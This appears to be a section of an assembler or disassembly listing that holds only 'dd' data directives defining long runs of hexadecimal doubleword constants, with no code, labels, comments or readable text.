		dd 0FD627390h, 0B1300811h, 4FBB2EA4h, 67540060h, 6CC46B69h
		dd 0BD2E70F0h, 8038546Ah, 1C0BAF97h, 0E39076h, 0F968DCD6h
		dd 679B59DAh, 10BFD32Eh, 0FEB1BA01h, 6B60EF58h,	0DA770066h
		dd 0F97AF161h, 800A83Bh, 51F0ECE4h, 84A1BCh, 7C829C32h
		dd 0AE01C53Dh, 8D2BE0A0h, 0F7686F01h, 0E3254C45h, 0CEDB881h
		dd 0F6B9D7A6h, 0F4498741h, 8F00879Ah, 0D6D0BC19h, 0A63F4Ah
		dd 0E792C42Ah, 0F15BD772h, 0FC1CF738h, 84174498h, 0F020819Fh
		dd 5EC335h, 0AB67C88Eh,	8C442B9h, 0D7D1B60Fh, 685020FCh
		dd 0E6014C4Bh, 73830216h, 0A9BC3E77h, 661ACC60h, 2A4925Ch
		dd 4DF47CF1h, 7D0848D5h, 3CD70952h, 0AA9h, 0A4F475E7h
		dd 14586500h, 0D1D6543Ah, 2109E02h, 0C88077B3h,	32006C58h
		dd 93AD36CBh, 0ECACFD07h, 2ED400C2h, 145239A4h,	0A23CCF21h
		dd 67350F24h, 8EF8AB41h, 40F2C950h, 7B43370h, 0C683B129h
		dd 40EEA009h, 0F2500DD1h, 8C002FF0h, 0C40B1364h, 0DD77F1h
		dd 0EB8870CBh, 0FE902ADEh, 8BB3AE00h, 9349D57Ch, 3853001Eh
		dd 0A3DD22B1h, 790D0B3Ch, 0E257641Dh, 5FFEE480h, 150F7123h
		dd 820EBA00h, 3A5802EEh, 64E81EABh, 3178419Bh, 2B9EF1D1h
		dd 5F1DEC00h, 0ECD48798h, 43B42E55h, 0B61C09C6h, 54B8C080h
		dd 153978FFh, 0E958F50Ah, 5AC60221h, 601B166Fh,	1C61587Ch
		dd 0DC60CBE7h, 0F0A5542Ch, 0F1AF1409h, 842CE045h, 84B0F4AAh
		dd 8E0B4938h, 780E0693h, 4B3D7919h, 85BC452Dh, 0B1B5C035h
		dd 0E47EBA73h, 5375B00h, 0C7C87640h, 10240FCAh,	2040596Ch
		dd 75BDD80Eh, 7F5DA500h, 2868B8D7h, 590A0085h, 0ACF5824Fh
		dd 0D9004B29h, 61A5BDA7h, 275B6Dh, 11FC5F20h, 0B9E5834Dh
		dd 0DF71C403h, 0D89ECA1Dh, 0C8BBB2h, 0CF6C5D7Ch, 0C0BF4EA6h
		dd 0FED55400h, 60EE7873h, 0F0E2E1h, 0B451DB79h,	85A41FBAh
		dd 348AA700h, 0F12EBD8Fh, 66FB0371h, 0EFEC9FE6h, 5E0CBE2h
		dd 0A2019E25h, 24F583E0h, 4820C84Fh, 16DD7D9Ch,	40A06580h
		dd 8E9726E8h, 0F4031273h, 293FB862h, 0AC02C06Ch, 1C7B0030h
		dd 0A7B283EBh, 75CBE5Ah, 4D06241Ch, 98248A00h, 4619974h
		dd 9635E759h, 3480C022h, 2F4F3C1Ah, 0FF3A400Fh,	0CBC22183h
		dd 6EDDA8BDh, 0C9FE25h,	66BF8743h, 72D7AE75h, 21D04B0h
		dd 64C38D28h, 0FBD46210h, 0ACE7C0BDh, 7FB7ECB3h, 0AD3003DCh
		dd 0B46D3681h, 97B0DAE0h, 5EF94D00h, 7AE939FDh,	48BB021h
		dd 0A5124A0Bh, 2BECC068h, 0FA001AB8h, 70E60A36h, 63874Eh
		dd 29AFDDEEh, 5994AD81h, 0FEFC2A05h, 0F8B113BAh, 3255BE8h
		dd 5C1AE1DAh, 33B01BE5h, 847170ABh, 4DB6FD01h, 90B385B9h
		dd 8112682Dh, 0A1A080DCh, 9500DD06h, 8A23EE6h, 58CE60F7h
		dd 0B3009C6Bh, 9A8FA494h, 0E5008DA3h, 50514344h, 61D35866h
		dd 0A86E1EABh, 88002AE6h, 27A0392Bh, 0B1B20EE0h, 8280F7E8h
		dd 0DB573888h, 16023F03h, 0A8F2A45Fh, 0ECC625Ch, 6ED7C3F3h
		dd 2D5EBFE1h, 526830C6h, 0ED609000h, 56653D07h,	6327002Ch
		dd 1739C730h, 79035B2Dh, 0A7B6A09Dh, 69B8D07Fh,	0C44400F4h
		dd 5CC2ECDh, 2F00B4F8h,	0B237543Ch, 0ED2ABCh, 92A1C073h
		dd 76241C98h, 0A9402700h, 6D1F3E4Ch, 3DE298F6h,	0FB802E63h
		dd 24502AF5h, 8574E290h, 0DF7E8C00h, 7B68B508h,	1350067h
		dd 4BC6FD3Dh, 3C00FABDh, 21CD37A6h, 1D57189Ah, 8074AEC7h
		dd 641E7522h, 8D05E4ECh, 53A1C8ADh, 9BA258C3h, 0B47E0044h
		dd 0E5969BDDh, 11007B83h, 0BCDB3A5h, 92A466h, 0D4D20944h
		dd 0B25A2677h
		dd 33201713h, 6CBC00B3h, 111FB885h, 0EB37C4F8h,	0A9789105h
		dd 802CB7h, 86646176h, 6DE78Bh,	945B5F82h, 0E193BAE4h
		dd 72A2A900h, 370A21C5h, 3EEB0067h, 0B363612Fh,	0CB0127D2h
		dd 7DFDCCA3h, 232EB5CFh, 0BAD051B4h, 0DC034130h, 7CA21C9Bh
		dd 0C3F29053h, 4F1016Dh, 9880706Ah, 0CC91F5FAh,	3E00F871h
		dd 6021A8D3h, 331646h, 228DC65Eh, 0CA1BF2Ch, 2B3EAB78h
		dd 0E4B98142h, 69F18E82h, 0B619BC9h, 0D805FCh, 0C0AC5FCFh
		dd 0AE479283h, 0A0551800h, 94C9B688h, 7E7F761Dh, 3EEA003Dh
		dd 3A0507EEh, 317473F5h, 0D0676604h, 4A0E02Ch, 1CCCF29Ch
		dd 47CDB5CBh, 294B2345h, 0EC5E0059h, 4A60F65Eh,	0A8F89003h
		dd 209FE2D6h, 2A901BA4h, 8FEA019Bh, 0B61D6870h,	611042E0h
		dd 0C4FA1A62h, 0A108286Fh, 33BE85B7h, 1EA93E0h,	0D91870A3h
		dd 2AA09FF2h, 0F041D001h, 96C42777h, 36DF015Eh,	835C609Ah
		dd 0E054F23Dh, 6687180h, 48E76A5Eh, 5F148D50h, 3161540Ah
		dd 0D90B5E99h, 0B80C4009h, 440FE2ECh, 0E3ACDFFh, 47989FEAh
		dd 4DC758h, 0FDDDA426h,	7ADEE8E0h, 4A5F2B00h, 9BC18268h
		dd 31F1000Ch, 54804C17h, 1A00C8E5h, 0A810BEA1h,	0B7E73Ch
		dd 0EF481ED8h, 4C8165F1h, 7722A707h, 9610FCCAh,	3A88B1FFh
		dd 0A680647Ch, 70DBA8E2h, 4B2CE085h, 411E491Ah,	2EB13002h
		dd 100CE0D7h, 767C58h, 329A2FD8h, 69ECBAAEh, 0EB001DF8h
		dd 84C26A21h, 1A3FE80h,	0DB22B07Eh, 0C13F1FADh,	29B5E8E0h
		dd 0A17CED01h, 0E626589Bh, 0EE438450h, 0F501079Fh, 60AC330Dh
		dd 706C1982h, 1D4CAEF0h, 0DAB4441Ah, 85D96B28h,	0D7A8B700h
		dd 437DEFBFh, 1F107082h, 283DEBB6h, 0FB3E00F8h,	0D2AADEC6h
		dd 923D7F2Eh, 49B23018h, 0E0475F98h, 0C0D500F3h, 4089F043h
		dd 635001DFh, 5F3B4FC4h, 18FA582Bh, 0E4A9384Ah,	3E2800DAh
		dd 37B3E373h, 0EF4908E6h, 17650130h, 0B2F32103h, 828DF0h
		dd 714F6CFFh, 5FBF4D48h, 13F42E07h, 919E4F8h, 26A8D019h
		dd 8070D1C7h, 50D47915h, 0D0178B0h, 97EE80B6h, 9D8E22Fh
		dd 13740B64h, 0E007AF52h, 3745201Fh, 0CC60C6BBh, 67E8C441h
		dd 0BC650016h, 8C2C7F71h, 0FB1CF102h, 0C80B11Dh, 47CDCE90h
		dd 5E9E033Dh, 0A9666A0Fh, 0F57824B8h, 20D0D800h, 0A1515AD9h
		dd 55CB75DDh, 7411981Ah, 50C870AAh, 94B9009Fh, 577C58D4h
		dd 8106CD87h, 0CFC7A59Ch, 0C8E0091h, 19CCFA88h,	0A90057BCh
		dd 4D3E083Bh, 3A9B65h, 0DEBFDB13h, 0CB53F2A0h, 57053CE8h
		dd 887CE875h, 0C8849383h, 1FE71DD0h, 43181243h,	0ED5BFA38h
		dd 0F02981C1h, 1007790Fh, 0BCC14F52h, 97D62BF2h, 0B9B18004h
		dd 4B15F277h, 0C9E7C28h, 34FDCF18h, 19D70128h, 3927D0F2h
		dd 7E75F44Bh, 200CA17Bh, 8A3AC31h, 0E921C025h, 0F6B475F4h
		dd 0DCF28900h, 6BFB61D1h, 363F0311h, 0DF631E38h, 0CDA693Ch
		dd 11357EDBh, 675D001Ch, 4774B76Fh, 9DF40E3h, 7C203518h
		dd 677168h, 8E60828Ch, 563ABE92h, 968DCA00h, 35101A63h
		dd 51BD630Eh, 0C0A43402h, 0E28468B6h, 3618C160h, 6D5F5E4h
		dd 2714806Bh, 3B540957h, 0EC00968Ch, 0B3503F5h,	179D33Ch
		dd 0F9307C16h, 80288B31h, 4A6995E9h, 290D6D89h,	13061BDh
		dd 6C0CF5E1h, 883D1848h, 0F503E9A1h, 0C6167BEDh, 6B838991h
		dd 0B1445081h, 800CB7AEh, 2FC3D6C8h, 7EC418AAh,	0C1E13A38h
		dd 0E5A607F7h, 2C0F6D8Dh, 0AB00D6E0h, 0DBEF797h, 14726E2Fh
		dd 1CA760DDh, 18381AC8h, 0A0A8E35Eh, 8D7500B8h,	0E4C2E140h
		dd 0C8A36ECFh, 67606794h, 437CB7FAh, 21233048h,	3E6765F5h
		dd 0A43A0D0Eh, 70E0A7BEh, 0D703F8AEh, 801CE949h, 0A15575F6h
		dd 16448C5Ah, 756D00E6h, 0A86F64D3h, 0F100B152h, 0D982B8EAh
		dd 5B5AFABh, 832F18C7h,	0B0B440E8h, 3130A624h, 0C8E13D07h
		dd 0A8B354CAh, 268CC9A9h, 85B15980h, 0FBDBD14Dh, 9F65EC00h
		dd 29AFEADAh, 0C278A542h, 0AB183524h, 0B08D58C2h, 0BEBFB303h
		dd 0DCB0364Ah, 324957F4h, 255C00A0h, 6F96A238h,	651000E6h
		dd 3ED91CDAh, 3228DE91h, 7EE2F887h, 0E4FCD415h,	1DC2348h
		dd 0B7FC6760h, 891E184Ch, 9688FF7Fh, 90005275h,	0B794AC12h
		dd 33EE1Ch, 9F83A361h, 6B3FB02Ch, 8C06CCA0h, 174D3207h
		dd 0C01AA22Fh, 0E7670C3Ah, 2AB82027h, 52B4CDAFh, 10F2E001h
		dd 1DE5FE30h, 0C352F24Fh, 6287EE7Eh, 41E202E8h,	6AF01812h
		dd 0DFC81058h, 0D63829D7h, 677A0178h, 185CB7F6h, 61F98828h
		dd 7BAF88A0h, 9D583F07h, 32F0A68Bh, 607E350Fh, 53054934h
		dd 2A00397Dh, 0AEEA018Fh, 0C09542F7h, 0B36BD1F8h, 0DCA3BF04h
		dd 54F02DE8h, 183144h, 0AFDF21DDh, 0B7C042F9h, 2008E966h
		dd 0E5721D21h, 0E0198F21h, 0AEB53981h, 8007D3F3h, 0B2B331D6h
		dd 0EC9C9149h, 75086F18h, 0C4A2A160h, 0A6EB4011h, 0E30C475h
		dd 0D42F16E4h, 0CF041881h, 3CB8B134h, 0A0433DE7h, 0F5B823FAh
		dd 0DE21D201h, 2218D1AFh, 0DA7588h, 9F3D721h, 4C9AE01h
		dd 928B3207h, 0A86E5B0h, 64584829h, 0D1873100h,	1B66EC6Eh
		dd 0DAEA472Eh, 14C06400h, 6445DCAEh, 60E6E020h,	2C7A75F9h
		dd 700C52A1h, 7500F0F5h, 0C163D10Eh, 0C43C9302h, 818CA1D8h
		dd 75A5BF0h, 0B0082460h, 36832896h, 6CD91EACh, 31D70C89h
		dd 0B3165F10h, 28012363h, 1760A085h, 0B659830h,	4C4B1FFBh
		dd 10B63411h, 52E68C17h, 0CFC6A433h, 3900A118h,	0F7A56553h
		dd 2EFBA4DCh, 91321Eh, 73E682F8h, 0AF000DC9h, 3DE404E0h
		dd 0A01A9F5h, 63E5708Bh, 9C8C008Ch, 6D1E33ECh, 9D386891h
		dd 8306548Dh, 0F0B013BBh, 0C6320AEh, 0EFE644A0h, 1B6180h
		dd 2B556619h, 0DD450227h, 0AF4CF2E6h, 301C3471h, 306664C2h
		dd 0D311F5EAh, 0AE88F06Bh, 0F5F2A482h, 2529C0F1h, 556718Eh
		dd 4818A8A1h, 90C9330h,	310557C3h, 3B4F835Fh, 0A6F2A001h
		dd 78811DFCh, 0E69FB7F0h, 0E3C034E0h, 28CB8F88h, 2845739h
		dd 0E6A6CF28h, 0FCA19F7Eh, 48C0601Eh, 0BA159984h, 22CCAEEFh
		dd 65DC0236h, 57EAF0D1h, 0D3708C44h, 4F24407Eh,	84C314DEh
		dd 0D57907EBh, 0E07DDBABh, 916B2A3Eh, 25B0C215h, 0A88780A8h
		dd 91101E14h, 6FAE0420h, 24DB21C0h, 20A88107h, 1E18BA3Ah
		dd 2E607BB4h, 5E7C03ACh, 743B1846h, 2FB3E509h, 979EA820h
		dd 2018E792h, 26C1E083h, 8B0501F3h, 0AFFB775h, 0D4E0873Ah
		dd 97F039FEh, 0FB48773h, 0B77BF152h, 0BF404347h, 0A88EC80h
		dd 0D504AD68h, 169BC5D9h, 0DB834701h, 88B8A419h, 2C7D5508h
		dd 3046747Ch, 0CE1D8805h, 0C0A089CFh, 3306E782h, 2558E95Ah
		dd 268A00D9h, 0EBB968A4h, 9A003144h, 3B899237h,	0AC17763h
		dd 0E5D702E7h, 75FAC0A0h, 18E9A179h, 0F1EA8817h, 0A40B7500h
		dd 4207A05Fh, 0F64102E1h, 0F8FB623Bh, 0EC93B4C2h, 0D9AD42CCh
		dd 4CE84666h, 0F4238CF8h, 0EB21D101h, 1F18D9AFh, 21F07689h
		dd 56C73C6Eh, 1B597103h, 6114386Ah, 660B031h, 0D8417A2h
		dd 63D91C68h, 0B3A60A66h, 450802D0h, 0E0C735FCh, 0A2632444h
		dd 0BF0CC1BCh, 83D90010h, 4BD5061Bh, 812DD036h,	320213Dh
		dd 0D8C7F958h, 0ECE8D060h, 0F61E26CAh, 0E64F0634h, 57FC79AEh
		dd 0B367D204h, 0E88430C6h, 3D238C3Ah, 0BB8CCB00h, 4C7F1233h
		dd 35094BCEh, 2C370D5Ch, 8A55FA04h, 0C7805084h,	39E9356Ch
		dd 0E306DA02h, 0E924AF32h, 0D30030E7h, 0E7F04909h, 2BB848D0h
		dd 0DB70C1E6h, 808CBD69h
		dd 0C6D19EB1h, 189F5DBBh, 0C12454D7h, 0C21DEC3Dh, 0E9E4E45Ah
		dd 116D0039h, 7D9ECFF3h, 165C0008h, 0B158A3E0h,	3D005323h
		dd 0F7481921h, 4CDF9018h, 95804879h, 0D42E3715h, 0DC2496h
		dd 7DAAC7A9h, 19A056C4h, 0B709DC75h, 4852A7h, 576395FCh
		dd 0FF3D004Fh, 7E8DAABFh, 0C9C00C54h, 9BE7CC69h, 89EE80h
		dd 0B7495EFEh, 0F65F8E5Dh, 47343F1Fh, 1318AF44h, 6A7BE0C2h
		dd 0B0F80C04h, 0E7048C67h, 0F86BD2F5h, 97C04CB2h, 0A072F5EFh
		dd 5F21D02h, 40119E0Ah,	8032407Ch, 4B1A7AEh, 0BB06E04h
		dd 96D71CA0h, 28465CE4h, 0E259C001h, 205444F5h,	2E7C70Ch
		dd 0FC0447Fh, 0DF564841h, 0E72ACB60h, 6A01899Fh, 0C5AF7A20h
		dd 0B43218C7h, 6C110C48h, 0B70A7933h, 849F2E62h, 36B5E906h
		dd 22027829h, 38CBC07Fh, 8E44002Ch, 76DD1073h, 58AEE057h
		dd 0A28564CEh, 0E66409D6h, 7B4A4C60h, 54A6D40Ch, 703A4927h
		dd 0A2D00AEh, 0E624EA80h, 0ED2565CEh, 260C8464h, 2FD89741h
		dd 9F1C3029h, 0B104E200h, 0C87C1E50h, 87B501E0h, 0D010E69Eh
		dd 2AA1801Bh, 1A06DFD3h, 7A320093h, 60AD2E34h, 7EE06B58h
		dd 0B7F5D412h, 84E40401h, 0F8244C7Bh, 0D1009120h, 1518AEh
		dd 3C533009h, 6A768801h, 2E21C00h, 0AFAC0527h, 441096EEh
		dd 75FC60EFh, 0AAA1237Bh, 0EC000F11h, 17C175F3h, 24008485h
		dd 974BEBF2h, 1901C0Dh,	155C678Eh, 20424EBCh, 0BAF20C8Ch
		dd 0F6DCDF1Ch, 0E5D26181h, 3143841h, 1E85F4D4h,	6750A48Ch
		dd 23D0C099h, 73098638h, 0CB84DC5Ch, 0E104A12Ch, 381580F8h
		dd 7E819E0Bh, 32E05829h, 80863B4h, 43A502Fh, 0B5A5D9E2h
		dd 63BC0204h, 13F5DB30h, 38D86BCEh, 0E35CA314h,	7AF700D4h
		dd 956E4C45h, 4AEB0386h, 6A6F8DDCh, 10AD53E0h, 758CBA59h
		dd 3622A414h, 7EA50C94h, 0ED131h, 0B9E826F3h, 7B492894h
		dd 0CAA3FA00h, 1BDE5EDBh, 0A541007Fh, 0C68E195h, 39C03A8Ch
		dd 0F3C69FD4h, 0A570060h, 65909CEh, 7B76EB1Ch, 131B101h
		dd 28546774h, 0DDBEC050h, 3F77197h, 0C6AE9390h,	9CF81549h
		dd 1270A843h, 2209CC02h, 58A6CE0Eh, 7C6C5824h, 49215786h
		dd 19295900h, 98F19116h, 2EF60286h, 84C05B52h, 4622B640h
		dd 87319A05h, 0A840E983h, 0E2C00CFDh, 0BBE1073Fh, 20D4D3D8h
		dd 7E085AEAh, 0AC6ED200h, 0C1AA66B8h, 941655A2h, 0FAB8C829h
		dd 0A88FE600h, 3C30DDC7h, 0EA0C0F2Ah, 0AC4A2501h, 5ECCAEE0h
		dd 9F003C46h, 6F04F8B8h, 6618AD47h, 4B213381h, 9FB00194h
		dd 8EA6D3AAh, 0BA8D8FEh, 0D42F8B01h, 3239DF1Dh,	2544B820h
		dd 2C078E2Bh, 8530F2A4h, 0E7C24840h, 0AE25A204h, 0D884BDFFh
		dd 1823803Bh, 68765803h, 191ED8F6h, 29AD32C2h, 0DD3065F0h
		dd 6BD011F5h, 803288E8h, 3FF5E5A5h, 1726FB6Ch, 68165041h
		dd 0E8AEF404h, 14C048C1h, 16BC2838h, 7326008Ch,	6E9BA503h
		dd 0AC1E87DBh, 8469B7A2h, 0C86D943Bh, 60187880h, 2E18114Fh
		dd 621C12F8h, 3C80402Ch, 746D29DFh, 0A8AA76EEh,	3B0CF082h
		dd 4C5A4100h, 0B43118D7h, 63242187h, 0B69D320h,	0F7659932h
		dd 0FF831500h, 0E71FA7BAh, 5D013136h, 0BEECB36Ch, 0F323383Dh
		dd 0DC21D000h, 864301AFh, 4733E44h, 8C0521D8h, 0B268C08Dh
		dd 0FB1641DFh, 0F40E1237h, 0C8C4D2CFh, 14F2D8E2h, 2FB7330h
		dd 4A96BDD0h, 88A02B8Ch, 3D1C879Eh, 2E0B0500h, 0C8784003h
		dd 0BC0874A4h, 10465E08h, 2E1F9F0Fh, 0B04078CFh, 4AAA9689h
		dd 4D3BFB12h, 898D0809h, 651424D5h, 0A5131CE3h,	2048C96Eh
		dd 0DF4CF75Ch, 0F3CE0F0Eh, 99668B57h, 20C4B998h, 23930063h
		dd 5EF9E2D3h, 8B00605Fh, 100E33B6h, 48DAFC35h, 16E88834h
		dd 7A5748Ch, 8E8BFB68h,	0F88FC9D7h, 0DC04996h, 28048C37h
		dd 548CC1CFh, 8E749C83h, 7F7EF25h, 70593CBFh, 12062165h
		dd 7E446D07h, 8DA175ACh, 38620D55h, 0CB303DF2h,	4CC10253h
		dd 7C591688h, 3F027CE0h, 0E4F67702h, 70F39837h,	5EED048Ch
		dd 0C99DA725h, 81381A78h, 491BDBFEh, 48FF45E4h,	3622C09Ah
		dd 52433F0Eh, 2984AE46h, 5F002090h, 901A1BA3h, 35B82474h
		dd 0B0B304C0h, 1D0600D8h, 0A0841E53h, 251574Ch,	2AA8AED3h
		dd 4071016Dh, 2B181871h, 2F8C8718h, 798599h, 29582CAAh
		dd 0CA062814h, 0DB48FB03h, 0B0C77084h, 94CBA819h, 3FE9035Ch
		dd 50142C4Ah, 85E4A909h, 7400397Fh, 0B75999C2h,	56130180h
		dd 621B7904h, 0CC8C6505h, 3D58C69Bh, 8FAB0158h,	0B1A80A11h
		dd 0D13049A9h, 0FF18AEh, 561B5F3Eh, 5CF70201h, 0A7B79706h
		dd 30684AA2h, 0B51EA84h, 92074BC3h, 7C12C944h, 0AA336D00h
		dd 3C915D18h, 0A709C102h, 444BF5Fh, 0DE026246h,	0D06BCFF5h
		dd 0A00074E7h, 40FF5E6h, 46E4008Bh, 0FEC96316h,	0B33F8A3Bh
		dd 0A8EE8E0Ah, 8EED00B7h, 74D66758h, 0B4E22D8Dh, 12DCD8A7h
		dd 98F0CE0Fh, 8E2C9CEAh, 0E39270DEh, 25C444CBh,	880E3338h
		dd 0A2ADA29Ch, 0FA538088h, 92F479DCh, 188C50ECh, 0CBBC0FC8h
		dd 46A09417h, 532FECE9h, 0F9DC7100h, 20669730h,	0A3D6275Ah
		dd 820358A7h, 0C071646Ah, 53182079h, 7067B300h,	87906BAAh
		dd 0BCC8902Fh, 80D811D4h, 0B7F8677Ch, 0C04942ACh, 0A86763F3h
		dd 2C6E9878h, 896C1BB3h, 90108B32h, 6CE517A4h, 0FD2E120Ch
		dd 51EF4C09h, 0AC3AF2D4h, 3E9CA801h, 84D040ECh,	98B9C2ACh
		dd 0AA183AF1h, 0E09DC503h, 0D7A39A44h, 13B36B60h, 110981Dh
		dd 0ADD62DF2h, 4249DAF7h, 34B5D3E4h, 0AB0D8F80h, 176ED5F4h
		dd 5A30B8h, 6116FE5Eh, 0CE176DA3h, 0F4D0ACE5h, 585F968Dh
		dd 66002C19h, 0CEA258DCh, 730E8EDFh, 858DED04h,	74F2DA67h
		dd 10302AE2h, 0ECB10344h, 22FFFB91h, 0FAEE80Fh,	3CBB056Dh
		dd 0DA89C80h, 20DE5E6Eh, 39984D64h, 0B6C2A100h,	8FF3AEE5h
		dd 5B3E00A4h, 51BEE18Bh, 3009EE12h, 4857A70Ch, 0F03DE8h
		dd 13DB34E9h, 50D99588h, 0B85E2507h, 0A8F25487h, 0D6045C03h
		dd 5D665C0Bh, 0D3C4B8C1h, 0E0AE8087h, 0D0AB8174h, 9D63A9F0h
		dd 60CD3F09h, 0C4084502h, 1BFC6117h, 0F3002C66h, 1946BDD8h
		dd 0E0B87D22h, 1E311362h, 86D4F163h, 11448C65h,	0AAA7AD13h
		dd 0B04AC441h, 0B0802607h, 3A0F9EB1h, 0DC275418h, 4054AE8Bh
		dd 99707E4h, 3FE75CCAh,	0C8514B05h, 0E0D4F6ACh,	2E89DDh
		dd 7C0131F7h, 18B3A36Ah, 57090090h, 0A49D102Bh,	78E2D7C8h
		dd 3335C4E7h, 0C2D388BCh, 3CA60172h, 3597FF58h,	64C8E6A5h
		dd 0F0EB7757h, 0D05364Fh, 66B4E66Bh, 0AE8D6C90h, 0B8BEB7h
		dd 9E102E9h, 904DB41Eh,	0C9373578h, 3BC874CBh, 0EF7764C0h
		dd 1B140063h, 909E5B17h, 18638C71h, 2D54C1h, 0B6F6A531h
		dd 1AAAF391h, 0AF03C00Bh, 0B0A4C3AEh, 29A945BBh, 4E82921h
		dd 33C8EF7h, 47B384h, 45400150h, 0BD4D820h, 169C6202h
		dd 64601B65h, 40F09C64h, 2E286B92h, 41DE8300h, 0DB731E90h
		dd 0CC2003Bh, 47843FF6h, 7F3CEEE8h, 8CBCBD5h, 0A0CE3188h
		dd 0AABEE749h, 982008Ch, 0A32E057Eh, 609C47E2h,	0DC8180A1h
		dd 0AD31AFFBh, 0E08871C5h, 0CE024BCAh, 0C80883D5h, 2596AF98h
		dd 0A4412E4Fh, 2F7C7DA3h, 262C20CFh, 6DCA7Eh, 681FC807h
		dd 3E40A004h, 0B369C714h, 0B6AF81ECh, 0FC4005FFh, 0BF492A6h
		dd 0AB15E2A2h, 46BD6C17h, 0EE823305h, 5444C78Bh, 0AC0CC0E9h
		dd 4C1268CEh, 0F8E344E8h, 0B767A20Bh, 58B14060h, 11D3B204h
		dd 0B0D537C5h, 89471480h
		dd 307734AEh, 0BF0CC2E8h, 0A711B859h, 0E821D480h, 7CBCE1AFh
		dd 0DC7758h, 4743E21h, 834D75A9h, 0EAB05F50h, 8BC09B89h
		dd 1A7FEE7h, 0F892B8Ah,	3203A511h, 3013F258h, 7DFEBAC9h
		dd 0E782C812h, 77AB1840h, 498CB6h, 7CD12AEBh, 0F468240Bh
		dd 83424000h, 2BE5AE01h, 151B2DB0h, 2991C09Dh, 136AC09Eh
		dd 433F8BABh, 7D3C3A98h, 0BF28000Ch, 0A36C6D8Ch, 182548FFh
		dd 4C4DB527h, 35BF4EE2h, 4D26811h, 0F4481AC8h, 28CE3E4h
		dd 0A15775F8h, 0EC51210Ah, 756FE840h, 0A4364CB9h, 434E76h
		dd 8AE66D38h, 697CD4DAh, 0E80EDF32h, 3C60C0F6h,	6A790B2Ah
		dd 4CE82BFCh, 0F3008F1Eh, 4261407Dh, 4C609EB2h,	2ED6C45Ah
		dd 352810C8h, 7CFCF7C0h, 0E25C5103h, 12971024h,	0E7B35F09h
		dd 312DF8A1h, 0E4783BD7h, 0ABD70052h, 0C4D39E06h, 0CC0F0BD9h
		dd 81512C53h, 0F07FEAAh, 0BDC087DBh, 0A2D84Ah, 0A82C4CF8h
		dd 0FFFC49D0h, 464CE00h, 857D355h, 35DC06D7h, 900D90A0h
		dd 64FC6D2Ch, 3B4674h, 0C6D7ABA9h, 1CF5368h, 0A8A569DEh
		dd 24889C18h, 2206C300h, 2DBFFB65h, 0F73813F0h,	17D4A03Bh
		dd 299B8518h, 4AA6AF50h, 6B9083E0h, 49C396D8h, 57D93604h
		dd 5080E4FAh, 820FBC4Fh, 0F1DB3660h, 84208453h,	5260C4A3h
		dd 20E7EA9h, 0E36A079Eh, 0C1016D89h, 332EE67Ch,	0B098620Ch
		dd 0C0C6106Bh, 0F13459h, 0A8BEB466h, 40544F9Bh,	22C83048h
		dd 8CC4002Fh, 0F06E3645h, 9700D5CCh, 0A40CFA0h,	0E12EE53h
		dd 0F8B2552Ah, 16B907h,	3DA86FFh, 0AC880C90h, 0D558B152h
		dd 0F62D06C0h, 2419AFDFh, 80041CCFh, 0CE925DD7h, 0EC004CFEh
		dd 0FD4E0D2Bh, 9B901A9h, 8BD36FB7h, 7F92F0E8h, 8A30B00h
		dd 5123B312h, 3E2401C9h, 0BBC535ADh, 0ACF0642Ah, 5212F8A4h
		dd 0D4F3D99Fh, 9B06E4Bh, 3F583AEh, 2DF1EE8h, 6CD5D148h
		dd 0C82024D0h, 3DF706B1h, 2D006FCCh, 30D934BDh,	0DA76F5FFh
		dd 17D10099h, 0B917FB18h, 1309B7A4h, 324803Eh, 12EEB299h
		dd 0B0B4C719h, 0B6127EE4h, 0B0CB32C3h, 30351EC4h, 0F8AE994Fh
		dd 0A1A70069h, 0F7200FC3h, 0B12554D4h, 4B9CE40Bh, 0F184058Ah
		dd 0DDAC00DCh, 0FD09CCBAh, 3C8EEC26h, 7F97102Ch, 8F27EC97h
		dd 0A42F9A10h, 0CEDC0071h, 0E6B266B9h, 6A2484EEh, 0FF4008BCh
		dd 741833D5h, 0C0934CC5h, 0CA4525h, 0F70DC73h, 22670066h
		dd 8ADF0774h, 41C0E685h, 0B14FFC39h, 0C0A31E2Ah, 0FA59804Bh
		dd 6BEAD21h, 0C82F1BE8h, 3F90800Ch, 14AE272Bh, 0C04102F7h
		dd 0BA5FA407h, 87E170F8h, 7102E576h, 0E0758D7Dh, 20D8546Dh
		dd 580490D8h, 743819h, 0B5A6B025h, 95356CFCh, 81319BE8h
		dd 0CD7A90E5h, 29BCB42Ch, 284E68Ch, 0DB2AF64Bh,	2091E538h
		dd 0B7208957h, 80ACC5C4h, 0E86762F6h, 0AC3E718Ah, 0DF200085h
		dd 0D2AF7646h, 0EAE8CA39h, 0AF4674BCh, 17FD4600h, 0E55797F2h
		dd 0B720C0B8h, 0D46F0211h, 0BA34281Dh, 40292040h, 478438h
		dd 5F17C3CFh, 0A1448B9Bh, 0E823D9FCh, 45400970h, 0E431F509h
		dd 6E82CBA2h, 815B1CFAh, 40E0504Eh, 0E9A2154Dh,	0C4AC00CCh
		dd 3B168684h, 890FA7FAh, 0E4EB6AB8h, 1CF0135Fh,	32AF09ACh
		dd 109D1733h, 0E9801391h, 477BE727h, 8840845Fh,	44346094h
		dd 0C5370031h, 0B1988882h, 23797AC9h, 0CD85CF1Eh, 9B6CA641h
		dd 0D4311BE7h, 4B5F6884h, 105CB90Ch, 0CC4EDF52h, 8C90E600h
		dd 856CA659h, 0B81421D3h, 0C8285BA8h, 21DB0478h, 0C1942FF9h
		dd 0C08F2314h, 4209E402h, 0C2A7FB6Ah, 93E860CCh, 48B037h
		dd 0C16C27FEh, 0A9DBAD61h, 9A15E302h, 97C8E110h, 80221140h
		dd 9274717Ah, 272F30A3h, 0EF96AFF0h, 0D9702B64h, 309038F8h
		dd 8C1FB8h, 587E176Bh, 609F0189h, 0C859722Eh, 6F8DF000h
		dd 206ECF9h, 0E7C1FD68h, 0D440D49Fh, 1D95DF9Ah,	80129134h
		dd 3AD734D3h, 9D14002Ah, 0D49EB013h, 0B09D1027h, 1F6B65CCh
		dd 0C98E82ADh, 7AB6E5h,	59DB9A09h, 0D8EC876Fh, 7E9E3DB2h
		dd 9FC51C58h, 132C45BCh, 1484A838h, 1D50B132h, 8C02CEACh
		dd 7CC209FAh, 6FC54738h, 0BC9431D2h, 0B0F185CFh, 98A9693Bh
		dd 6E8F210h, 122C0FA4h,	734C18h, 8C5E6C9h, 30673AE4h, 53F166DFh
		dd 60467600h, 0EB836D22h, 4309039h, 2D2A2550h, 898CAC07h
		dd 95B80012h, 4E3533h, 6B9AAEA3h, 0B33D6A9Fh, 7E42292Dh
